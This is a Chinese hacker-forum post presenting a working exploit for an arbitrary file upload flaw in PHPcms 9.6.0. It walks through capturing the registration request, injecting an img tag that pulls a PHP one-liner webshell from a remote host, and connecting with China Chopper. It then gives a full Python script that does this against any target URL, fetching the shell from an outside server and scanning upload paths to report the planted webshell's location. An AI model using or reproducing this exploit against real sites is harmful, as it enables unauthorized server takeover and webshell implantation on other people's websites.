PHPcms9.6.0 最新版0day漏洞 任意文件上传漏洞可直接getshel

admin
22441admin首席执行运营官
2017-06-22 07:29:14
22441 2017-06-22 07:29:14
对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下:
首先我们在本地搭建一个php环境,我这里是appserv或者使用phpnow (官网下载地址:http://servkit.org/
(只要可以执行php文件就行)

在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问

接着我们找到phpcms网站注册模块,随便填一下信息

然后我们用burpsuite抓包

然后发送到repeater

我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话
poc如下:


 
1
[/td][td=1,1,1434]  
siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=


只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复)
我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话
连接菜刀,getshell

利用方式二:
利用火狐的hackbar插件,操作如下:

EXP如下:
# -*- coding:utf-8 -*-
import requests
import sys
from datetime import datetime
def getTime():
   year = str(datetime.now().year)
   month = "%02d" % datetime.now().month
   day = "%02d" % datetime.now().day
   hour = datetime.now().hour
   hour = hour - 12 if hour > 12 else hour
   hour = "%02d" % hour
   minute = "%02d" % datetime.now().minute
   second = "%02d" % datetime.now().second
   microsecond = "%06d" % datetime.now().microsecond
   microsecond = microsecond[:3]
   nowTime = year + month + day + hour + minute + second + microsecond
   return int(nowTime), year + "/" + month + day + "/"
def main():
   if len(sys.argv) < 2:
       print("[*]Usage   : Python 1.py http://xxx.com")
       sys.exit()
   host = sys.argv[1]
   url = host + "/index.php?m=member&c=index&a=register&siteid=1"
   data = {
       "siteid": "1",
       "modelid": "1",
       "username": "dsakkfaffdssdudi",
       "password": "123456",
       "email": "dsakkfddsjdi@qq.com",
       # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
       "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
       "dosubmit": "1",
       "protocol": "",
   }
   try:
       startTime, _ = getTime()
       htmlContent = requests.post(url, data=data)
       finishTime, dateUrl = getTime()
       if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
           successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
           print("[*]Shell  : %s" % successUrl)
       else:
           print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
           successUrl = ""
           for t in range(startTime, finishTime):
               checkUrlHtml = requests.get(
                   host + "/uploadfile/" + dateUrl + str(t) + ".php")
               if checkUrlHtml.status_code == 200:
                   successUrl = host + "/uploadfile/" + \
                       dateUrl + str(t) + ".php"
                   print("[*]Shell  : %s" % successUrl)
                   break
           if successUrl == "":
               print(
                   "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
   except:
       print("Request Error")
if __name__ == '__main__':
   main()

[/td][td=1,1,1816]


本文标题:PHPcms9.6.0 最新版0day漏洞 任意文件上传漏洞可直接getshel
本文作者:admin
本文来自:蚁安黑客官网
转载请注明本文链接:http://www.mayidui.net/t628.html
liruchun0212
沙发liruchun0212编程小子 2017-06-28 19:37
多学习啊
游客
登录后才可以回帖,登录 或者 注册
weixin
蚁安蚂蚁堆

找工具、找教程、找朋友,你想不到的这儿都有!

微信号:baiyiwangan